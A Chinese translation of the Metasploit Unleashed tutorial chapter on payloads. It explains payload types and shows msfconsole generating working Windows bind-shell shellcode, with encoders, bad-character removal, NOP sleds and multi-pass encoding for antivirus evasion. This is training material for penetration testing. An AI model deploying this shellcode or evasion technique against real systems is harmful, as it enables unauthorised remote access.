第四期_Metasploit 基础(四)Payloads《Metasploit Unleashed Simplified Chinese version(Metasploit官方文档教程中文版)》

翻译者说明1:本文为Metasploit Unleashed中文版翻译。原文链接:https://www.offensive-security.com/metasploit-unleashed/

翻译者说明2:为减轻翻译负担采用了机器翻译,翻译者从中人工剔除了机翻错误或歧义的问题,但难免会存在小问题,请读者见谅。如发现文章翻译存在问题,可在文章下方评论留言。

翻译者说明3:如果你喜欢这篇翻译,请给关注一下我并给文章点个赞,你的支持是给我工作的最大鼓励。

翻译者说明4:其他章节一并整合在专栏中,如有兴趣可关注专栏了解更多内容。

四、METASPLOIT 基础

4. Payloads 有效负载

Metasploit 中的有效负载是指漏洞利用模块。Metasploit 框架中主要有三种不同类型的有效负载模块:Singles、Stagers 和 Stages。这些不同类型的负载模块拥有多功能性,并且可以在多种类型的场景中使用。无论负载是否有阶段(stage),都由负载名称中的"/"表示。例如,windows/shell_bind_tcpsingle(没有阶段的单个)有效负载,而windows/shell/bind_tcpstager(bind_tcp) 和 stage(shell)组成。

CONTENTS

  • SINGLES
  • STAGERS
  • STAGES

1)有效负载类型

a)Singles

Singles是独立且完全独立的有效负载。单个有效负载可以像将用户添加到目标系统或运行 calc.exe一样简单。
这些类型的有效负载是自包含的,因此可以使用非 metasploit 处理程序(如 netcat)捕获它们。

b)Stagers

Stagers在攻击者和受害者之间建立网络连接,并且设计得小巧可靠。很难总是把这两者都做好,所以结果是多个相似的阶段。Metasploit将尽可能使用最好的一个,并在必要时回退到不太喜欢的那个。
Windows NX vs NO-NX Stagers

  • NX CPU 和 DEP 的可靠性问题
  • NX 分级器更大(VirtualAlloc)
  • 默认值现在与 NX + Win7 兼容
c)Stages

Stages是由Stagers模块下载的有效负载组件。各种有效负载stages提供没有尺寸限制的高级advanced功能,例如 Meterpreter,VNC Injection和iPhone"ipwn"Shell。
Stages有效负载自动使用"中间Stagers"

  • 单个 recv() 因有效负载较大而失败
  • stager接收中间stager
  • 然后,中间stager执行完整下载
  • 也适用于 RWX
d)内联(非Staged,没有阶段)

包含所选任务的exploits完整 shell 代码的(Single)单个有效负载。内联有效载荷在设计上比同类有效载荷更稳定,因为它们将所有内容合二为一。但是,某些漏洞利用将不支持这些有效负载的结果大小。

e)Stager

Stager payloads与Stage payloads结合使用,以便执行特定任务。Stager在攻击者和受害者之间建立通信通道,并在Stage payload中读取以在远程主机上执行。

f)Meterpreter

Meterpreter是Meta-Interpreter的缩写形式,是一种通过dll注入运行的高级多方面有效载荷。Meterpreter完全驻留在远程主机的内存中,在硬盘驱动器上不留痕迹,因此使用传统的取证技术很难检测到它。脚本和插件可以根据需要动态加载和卸载,Meterpreter开发非常强大且不断发展。

g)PassiveX(被动型)

PassiveX 是一种有效负载,可以帮助规避限制性出站防火墙。它通过使用 ActiveX 控件创建 Internet Explorer 的隐藏实例来实现此目的。使用新的 ActiveX 控件,它通过 HTTP 请求和响应与攻击者进行通信。

h)NoNX诺克斯

NX(No eXecute)位是某些 CPU 中内置的一项功能,用于防止代码在某些内存区域中执行。在 Windows 中,NX 作为数据执行保护 (DEP) 实现。Metasploit NoNX有效载荷旨在规避DEP。

i)Ord

Ordinal(序号)有效负载是基于 Windows Stager的有效负载,具有明显的优点和缺点。优点是它适用于可追溯到Windows 9x的Windows的每种风格和语言,而无需明确定义返回地址。它们也非常小。然而,两个非常具体的缺点使它们不是默认选择。首先,它依赖于这样一个事实,即在被利用之前被利用的过程中加载了ws2_32.dll。第二个是它比其他stager更不稳定。

j)IPV6

Metasploit IPv6有效负载,顾名思义,是为通过IPv6网络运行而构建的。

k)反射式 DLL 注入

反射性 DLL 注入是一种技术,通过该技术,将Stage payloads注入到内存中运行的受损主机进程中,从不接触主机硬盘驱动器。VNC 和 Meterpreter 有效负载都使用反射式 DLL 注入。你可以从斯蒂芬·莱瑟(Stephen Less)那里读到更多关于这个的信息,他是反射性 DLL 注入的创造者。

2)生成有效负载

在漏洞利用开发期间,您肯定需要生成 shell 代码才能在漏洞利用中使用。在Metasploit中,有效载荷可以从msfconsole。当您使用某个有效负载时,Metasploit 会添加generate(生成)、pry(撬起)和reload(重新加载)命令。生成将是本节学习如何使用Metasploit的主要重点。

msf > use payload/windows/shell_bind_tcp
msf payload(shell_bind_tcp) > help
...snip...

    Command       Description
    -------       -----------
    generate      Generates a payload
    pry           Open a Pry session on the current module
    reload        Reload the current module from disk

让我们首先通过 -h 开关运行generate命令来查看该命令的各种选项。

msf payload(shell_bind_tcp) > generate -h
Usage: generate [options]

Generates a payload.

OPTIONS:

    -E        Force encoding.
    -b   The list of characters to avoid: '\x00\xff'
    -e   The name of the encoder module to use.
    -f   The output file name (otherwise stdout)
    -h        Help banner.
    -i   the number of encoding iterations.
    -k        Keep the template executable functional
    -o   A comma separated list of options in VAR=VAL format.
    -p   The Platform for output.
    -s   NOP sled length.
    -t   The output format: raw,ruby,rb,perl,pl,c,js_be,js_le,java,dll,exe,exe-small,elf,macho,vba,vbs,loop-vbs,asp,war
    -x   The executable template to use

要生成没有任何选项的外壳代码,只需执行generate命令即可。

msf payload(shell_bind_tcp) > generate
# windows/shell_bind_tcp - 341 bytes
# http://www.metasploit.com
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, 
# InitialAutoRunScript=, AutoRunScript=
buf = 
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" +
"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" +
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" +
"\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" +
"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" +
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" +
"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" +
"\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f" +
"\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29" +
"\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50" +
"\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7\x31" +
"\xdb\x53\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68" +
"\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff" +
"\xd5\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7" +
"\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3" +
"\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44" +
"\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56" +
"\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86" +
"\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60" +
"\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5" +
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f" +
"\x6a\x00\x53\xff\xd5"

当然,在没有任何"tweeking"的情况下生成这样的shellcode的几率相当低。通常,根据目标机器的不同,将使用坏字符和特定类型的编码器。

上面的示例代码包含一个几乎通用的坏字符,即空字节 (\x00)。授予一些漏洞允许我们使用它,但不是很多。让我们只生成相同的shellcode,只是这次我们将指示Metasploit删除这个不需要的字节。

为此,我们发出generate命令,后跟 -b 开关,其中包含我们希望在生成过程中不允许的字节。

msf  payload(shell_bind_tcp) > generate -b '\x00'
# windows/shell_bind_tcp - 368 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, 
# InitialAutoRunScript=, AutoRunScript=
buf = 
"\xdb\xde\xba\x99\x7c\x1b\x5f\xd9\x74\x24\xf4\x5e\x2b\xc9" +
"\xb1\x56\x83\xee\xfc\x31\x56\x14\x03\x56\x8d\x9e\xee\xa3" +
"\x45\xd7\x11\x5c\x95\x88\x98\xb9\xa4\x9a\xff\xca\x94\x2a" +
"\x8b\x9f\x14\xc0\xd9\x0b\xaf\xa4\xf5\x3c\x18\x02\x20\x72" +
"\x99\xa2\xec\xd8\x59\xa4\x90\x22\x8d\x06\xa8\xec\xc0\x47" +
"\xed\x11\x2a\x15\xa6\x5e\x98\x8a\xc3\x23\x20\xaa\x03\x28" +
"\x18\xd4\x26\
...snip...

看看这个shell代码很容易看出,与之前生成的绑定shell相比,空字节已被成功删除。因此,为我们提供了一个空字节的空有效负载。我们还看到了其他重大差异,这是由于我们在生成过程中实施的更改。

一个区别是外壳代码的总字节大小。在我们之前的迭代中,大小为 341 字节,这个新的 shellcode 大了 27 个字节。

msf  payload(shell_bind_tcp) > generate
# windows/shell_bind_tcp - 341 bytes
# http://www.metasploit.com
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, 
...snip...

msf  payload(shell_bind_tcp) > generate -b '\x00'
# windows/shell_bind_tcp - 368 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
...snip...

在生成过程中,需要替换(或编码)空字节的原始意图或代码中的有用性,以确保一旦进入内存,我们的绑定 shell 仍然有效。

另一个重大变化是增加了编码器的使用。默认情况下,Metasploit将选择最佳编码器来完成手头的任务。编码器负责删除使用 -b 开关时输入的不需要的字符(以及其他内容)。稍后我们将更详细地讨论编码器。

当指定坏字符时,框架将使用最好的编码器来完成作业。x86/shikata_ga_nai 编码器是在代码生成期间仅限制空字节时使用的。如果我们再添加一些坏字符,则可以使用不同的编码器来完成相同的任务。让我们再向列表中添加几个字节,看看会发生什么。

msf  payload(shell_bind_tcp) > generate -b '\x00\x44\x67\x66\xfa\x01\xe0\x44\x67\xa1\xa2\xa3\x75\x4b'
# windows/shell_bind_tcp - 366 bytes
# http://www.metasploit.com
# Encoder: x86/fnstenv_mov
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, 
# InitialAutoRunScript=, AutoRunScript=
buf = 
"\x6a\x56\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xbf" +
"\x5c\xbf\xe8\x83\xeb\xfc\...
...snip...

我们看到使用了不同的编码器来成功删除不需要的字节。Shikata_ga_nai可能无法使用受限字节列表对有效负载进行编码。另一方面,Fnstenv_mov能够做到这一点。

3)有效负载生成失败

能够在不使用某些字符的情况下生成shellcode是该框架提供的强大功能之一。这并不意味着它是无限的。
如果给出的受限字节过多,则可能没有编码器可以完成任务。此时,Metasploit 将显示以下消息。

msf  payload(shell_bind_tcp) > generate -b '\x00\x44\x67\x66\xfa\x01\xe0\x44\x67\xa1\xa2\xa3\x75\x4b\xFF\x0a\x0b\x01\xcc\6e\x1e\x2e\x26'
[-] Payload generation failed: No encoders encoded the buffer successfully.

4)在有效负载生成期间使用编码器

如前所述,框架将在生成有效负载时选择最佳编码器。然而,有时人们需要使用特定的类型,无论Metasploit怎么想。想象一下,只有当漏洞仅包含非字母数字字符时,该漏洞才会成功执行。在这种情况下,"shikata_ga_nai"编码器不合适,因为它几乎使用所有可用于编码的字符。
查看编码器列表,我们看到x86 /nonalpha编码器存在。

msf  payload(shell_bind_tcp) > show encoders

Encoders
========

   Name                    Disclosure Date  Rank       Description
   ----                    ---------------  ----       -----------
...snip...
   x86/call4_dword_xor                      normal     Call+4 Dword XOR Encoder
   x86/context_cpuid                        manual     CPUID-based Context Keyed Payload Encoder
   x86/context_stat                         manual     stat(2)-based Context Keyed Payload Encoder
   x86/context_time                         manual     time(2)-based Context Keyed Payload Encoder
   x86/countdown                            normal     Single-byte XOR Countdown Encoder
   x86/fnstenv_mov                          normal     Variable-length Fnstenv/mov Dword XOR Encoder
   x86/jmp_call_additive                    normal     Jump/Call XOR Additive Feedback Encoder
   x86/context_stat                         manual     stat(2)-based Context Keyed Payload Encoder
   x86/context_time                         manual     time(2)-based Context Keyed Payload Encoder
   x86/countdown                            normal     Single-byte XOR Countdown Encoder
   x86/fnstenv_mov                          normal     Variable-length Fnstenv/mov Dword XOR Encoder
   x86/jmp_call_additive                    normal     Jump/Call XOR Additive Feedback Encoder
   x86/nonalpha                             low        Non-Alpha Encoder
   x86/nonupper                             low        Non-Upper Encoder
   x86/shikata_ga_nai                       excellent  Polymorphic XOR Additive Feedback Encoder
   x86/single_static_bit                    manual     Single Static Bit
   x86/unicode_mixed                        manual     Alpha2 Alphanumeric Unicode Mixedcase Encoder
   x86/unicode_upper                        manual     Alpha2 Alphanumeric Unicode Uppercase Encoder

让我们重做绑定 shell 有效负载,但这次我们将告诉框架使用"nonalpha"编码器。为此,我们使用 -e 开关,后跟上面列表中显示的编码器名称。

msf  payload(shell_bind_tcp) > generate -e x86/nonalpha
# windows/shell_bind_tcp - 489 bytes
# http://www.metasploit.com
# Encoder: x86/nonalpha
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, 
# InitialAutoRunScript=, AutoRunScript=
buf = 
"\x66\xb9\xff\xff\xeb\x19\x5e\x8b\xfe\x83\xc7\x70\x8b\xd7" +
"\x3b\xf2\x7d\x0b\xb0\x7b\xf2\xae\xff\xcf\xac\x28\x07\xeb" +
"\xf1\xeb\x75\xe8\xe2\xff\xff\xff\x17\x29\x29\x29\x09\x31" +
"\x1a\x29\x24\x29\x39\x03\x07\x31\x2b\x33\x23\x32\x06\x06" +
"\x23\x23\x15\x30\x23\x37\x1a\x22\x21\x2a\x23\x21\x13\x13" +
"\x04\x08\x27\x13\x2f\x04\x27\x2b\x13\x10\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x13\x28\x13\x11\x25\x24\x13\x14\x28\x24\x13\x28" +
"\x28\x24\x13\x07\x24\x13\x06\x0d\x2e\x1a\x13\x18\x0e\x17" +
"\x24\x24\x24\x11\x22\x25\x15\x37\x37\x37\x27\x2b\x25\x25" +
"\x25\x35\x25\x2d\x25\x25\x28\x25\x13\x02\x2d\x25\x35\x13" +
"\x25\x13\x06\x34\x09\x0c\x11\x28\xfc\xe8\x89\x00\x00\x00" +
...snip...

如果一切按计划进行,我们的有效负载将不包含任何字母数字字符。但是,在使用默认编码器以外的其他编码器时,我们必须小心。因为它往往会给我们一个更大的有效载荷。例如,这个比我们之前的例子大得多。

列表中的下一个选项是 -f 开关。这使我们能够将生成的有效负载保存到文件中,而不是将其显示在屏幕上。与往常一样,它遵循带有文件路径的generate命令。

msf  payload(shell_bind_tcp) > generate -b '\x00' -e x86/shikata_ga_nai -f /root/msfu/filename.txt
[*] Writing 1803 bytes to /root/msfu/filename.txt...
msf  payload(shell_bind_tcp) > cat ~/msfu/filename.txt
[*] exec: cat ~/msfu/filename.txt

# windows/shell_bind_tcp - 368 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, 
# InitialAutoRunScript=, AutoRunScript=
buf = 
"\xdb\xcb\xb8\x4f\xd9\x99\x0f\xd9\x74\x24\xf4\x5a\x2b\xc9" +
"\xb1\x56\x31\x42\x18\x83\xc2\x04\x03\x42\x5b\x3b\x6c\xf3" +
"\x8b\x32\x8f\x0c\x4b\x25\x19\xe9\x7a\x77\x7d\x79\x2e\x47" +
"\xf5\x2f\xc2\x2c\x5b\xc4\x51\x40\x74\xeb\xd2\xef\xa2\xc2" +
"\xe3\xc1\x6a\x88\x27\x43\x17\xd3\x7b\xa3\x26\x1c\x8e\xa2" +
"\x6f\x41\x60\xf6\x38\x0d\xd2\xe7\x4d\x53\xee\x06\x82\xdf" +
"\x4e\x71\xa7\x20\x3a\xcb\xa6\x70\x92\x40\xe0\x68\x99\x0f" +
"\xd1\x89\x4e\x4c\x2d\xc3\xfb\xa7\xc5\xd2\x2d\xf6\x26\xe5" +
...snip...

通过使用 cat 命令,就像从命令 shell 中使用一样,我们可以看到我们的有效负载已成功保存到我们的文件中。正如我们所看到的,在生成shellcode时也可以使用多个选项。

5)生成具有多个通道的有效负载

选项列表中的下一个是迭代开关 -i。简而言之,这告诉框架在生成最终有效负载之前必须执行多少次编码传递。这样做的一个原因是隐身或防病毒规避。防病毒规避在 MSFU 的另一节中有更详细的介绍。

因此,让我们比较一下使用 1 次迭代生成的绑定 shell 有效负载与同一 shell 代码的 2 次迭代。

msf  payload(shell_bind_tcp) > generate -b '\x00'
# windows/shell_bind_tcp - 368 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, 
# InitialAutoRunScript=, AutoRunScript=
buf = 
"\xdb\xd9\xb8\x41\x07\x94\x72\xd9\x74\x24\xf4\x5b\x2b\xc9" +
"\xb1\x56\x31\x43\x18\x03\x43\x18\x83\xeb\xbd\xe5\x61\x8e" +
"\xd5\x63\x89\x6f\x25\x14\x03\x8a\x14\x06\x77\xde\x04\x96" +
"\xf3\xb2\xa4\x5d\x51\x27\x3f\x13\x7e\x48\x88\x9e\x58\x67" +
"\x09\x2f\x65\x2b\xc9\x31\x19\x36\x1d\x92\x20\xf9\x50\xd3" +
"\x65\xe4\x9a\x81\x3e\x62\x08\x36\x4a\x36\x90\x37\x9c\x3c" +
...snip...
msf  payload(shell_bind_tcp) > generate -b '\x00' -i 2
# windows/shell_bind_tcp - 395 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, 
# InitialAutoRunScript=, AutoRunScript=
buf = 
"\xbd\xea\x95\xc9\x5b\xda\xcd\xd9\x74\x24\xf4\x5f\x31\xc9" +
"\xb1\x5d\x31\x6f\x12\x83\xc7\x04\x03\x85\x9b\x2b\xae\x80" +
"\x52\x72\x25\x16\x6f\x3d\x73\x9c\x0b\x38\x26\x11\xdd\xf4" +
"\x80\xd2\x1f\xf2\x1d\x96\x8b\xf8\x1f\xb7\x9c\x8f\x65\x96" +
"\xf9\x15\x99\x69\x57\x18\x7b\x09\x1c\xbc\xe6\xb9\xc5\xde" +
"\xc1\x81\xe7\xb8\xdc\x3a\x51\xaa\x34\xc0\x82\x7d\x6e\x45" +
"\xeb\x2b\x27\x08\x79\xfe\x8d\xe3\x2a\xed\x14\xe7\x46\x45" +
...snip...

比较这两个输出,我们可以看到第二次迭代对有效负载的明显影响。首先,字节大小大于第一个。迭代次数越多,有效载荷就越大。其次,比较突出显示的代码的前几个字节,我们还看到它们不再相同。这是由于第二次迭代或第二次编码传递。它对我们的有效载荷进行了一次编码,然后获取该有效载荷并再次对其进行编码。让我们看一下我们的shell代码,看看5次迭代会产生多大的差异。

msf  payload(shell_bind_tcp) > generate -b '\x00' -i 5
# windows/shell_bind_tcp - 476 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, 
# InitialAutoRunScript=, AutoRunScript=
buf = 
"\xb8\xea\x18\x9b\x0b\xda\xc4\xd9\x74\x24\xf4\x5b\x33\xc9" +
"\xb1\x71\x31\x43\x13\x83\xeb\xfc\x03\x43\xe5\xfa\x6e\xd2" +
"\x31\x23\xe4\xc1\x35\x8f\x36\xc3\x0f\x94\x11\x23\x54\x64" +
"\x0b\xf2\xf9\x9f\x4f\x1f\x01\x9c\x1c\xf5\xbf\x7e\xe8\xc5" +
"\x94\xd1\xbf\xbb\x96\x64\xef\xc1\x10\x9e\x38\x45\x1b\x65" +
...snip...

与以前所有产出相比,这一变化很大。它稍微大一点,我们的字节也不太相似。从理论上讲,这将使我们这个版本的有效载荷不容易被发现。

我们花了很多时间从一开始就使用默认值生成 shellcode。对于绑定 shell,默认侦听端口为 4444。通常必须改变这一点。我们可以通过使用 -o 开关后跟要更改的值来实现此目的。让我们看一下可以为此有效负载更改哪些选项。从 msfconsole 中,我们将发出show options命令。

msf  payload(shell_bind_tcp) > show options

Module options (payload/windows/shell_bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process, none
   LPORT     4444             yes       The listen port
   RHOST                      no        The target address

默认情况下,我们的 shell 将侦听端口 4444,退出函数为"process"。我们将此更改为端口 1234 和使用 -o 的"seh"退出函数。语法为 VARIABLE=VALUE,每个选项之间用逗号分隔。在这种情况下,侦听端口和退出函数都已更改,因此使用以下语法 LPORT=1234,EXITFUNC=seh

msf  payload(shell_bind_tcp) > generate -o LPORT=1234,EXITFUNC=seh -b '\x00' -e x86/shikata_ga_nai
# windows/shell_bind_tcp - 368 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=1234, RHOST=, EXITFUNC=seh, 
# InitialAutoRunScript=, AutoRunScript=
buf = 
"\xdb\xd1\xd9\x74\x24\xf4\xbb\x93\x49\x9d\x3b\x5a\x29\xc9" +
"\xb1\x56\x83\xc2\x04\x31\x5a\x14\x03\x5a\x87\xab\x68\xc7" +
"\x4f\xa2\x93\x38\x8f\xd5\x1a\xdd\xbe\xc7\x79\x95\x92\xd7" +
"\x0a\xfb\x1e\x93\x5f\xe8\x95\xd1\x77\x1f\x1e\x5f\xae\x2e" +
"\x9f\x51\x6e\xfc\x63\xf3\x12\xff\xb7\xd3\x2b\x30\xca\x12" +
"\x6b\x2d\x24\x46\x24\x39\x96\x77\x41\x7f\x2a\x79\x85\x0b" +
"\x12\x01\xa0\xcc\xe6\xbb\xab\x1c\x56\xb7\xe4\x84\xdd\x9f" +
...snip...

6)使用 NOP Sled 生成有效载荷

最后,让我们看一下NOP Sled长度和输出格式选项。生成有效负载时,给出的默认输出格式为"ruby"。虽然 ruby 语言非常强大和流行,但并不是每个人都在其中编写代码。我们有能力告诉框架以不同的编码格式(例如Perl,C和Java)提供我们的有效载荷。在生成外壳代码时,也可以在开始时添加NOP Sled。

首先,让我们看一下几种不同的输出格式,看看如何使用 -t 开关。与所有其他选项一样,所有需要做的就是键入开关,然后键入帮助菜单中显示的格式名称。

msf  payload(shell_bind_tcp) > generate
# windows/shell_bind_tcp - 341 bytes
# http://www.metasploit.com
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, 
# InitialAutoRunScript=, AutoRunScript=
buf = 
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
...snip...
msf  payload(shell_bind_tcp) > generate -t c
/*
 * windows/shell_bind_tcp - 341 bytes
 * http://www.metasploit.com
 * VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, 
 * InitialAutoRunScript=, AutoRunScript=
 */
unsigned char buf[] = 
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
...snip...
msf  payload(shell_bind_tcp) > generate -t java
/*
 * windows/shell_bind_tcp - 341 bytes
 * http://www.metasploit.com
 * VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, 
 * InitialAutoRunScript=, AutoRunScript=
 */
byte shell[] = new byte[]
{
	(byte) 0xfc, (byte) 0xe8, (byte) 0x89, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x60, (byte) 0x89,
	(byte) 0xe5, (byte) 0x31, (byte) 0xd2, (byte) 0x64, (byte) 0x8b, (byte) 0x52, (byte) 0x30, (byte) 0x8b,
	(byte) 0x52, (byte) 0x0c, (byte) 0x8b, (byte) 0x52, (byte) 0x14, (byte) 0x8b, (byte) 0x72, (byte) 0x28,
	(byte) 0x0f, (byte) 0xb7, (byte) 0x4a, (byte) 0x26, (byte) 0x31, (byte) 0xff, (byte) 0x31, (byte) 0xc0,
	(byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0xc1,
...snip...

查看不同编程语言的输出,我们看到每个输出都遵循其各自的语言语法。哈希"#“在Ruby中用于注释,但在C中,它被替换为斜杠和星号字符”/*"语法。查看所有三个输出,数组已针对所选语言格式进行了正确声明。使其准备好复制并粘贴到脚本中。

添加 NOP(无操作或下一个操作) Sled是通过 -s 开关后跟 NOP 的数量来完成的。这将在我们的有效载荷的开头添加 Sled。请记住, Sled越大,外壳代码就越大。因此,添加 10 个NOP 将为总大小增加 10 个字节。

msf  payload(shell_bind_tcp) > generate
# windows/shell_bind_tcp - 341 bytes
# http://www.metasploit.com
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, 
# InitialAutoRunScript=, AutoRunScript=
buf = 
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
...snip...
msf  payload(shell_bind_tcp) > generate -s 14
# windows/shell_bind_tcp - 355 bytes
# http://www.metasploit.com
# NOP gen: x86/opty2
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, 
# InitialAutoRunScript=, AutoRunScript=
buf = 
"\xb9\xd5\x15\x9f\x90\x04\xf8\x96\x24\x34\x1c\x98\x14\x4a" +
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
...snip...

\xb9\xd5\x15\x9f\x90\x04\xf8\x96\x24\x34\x1c\x98\x14\x4a为有效负载开始时的NOP Sled。将接下来的3行与上面的shellcode进行比较,我们看到它们完全相同。正如预期的那样,总字节数正好增加了 14 个字节。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值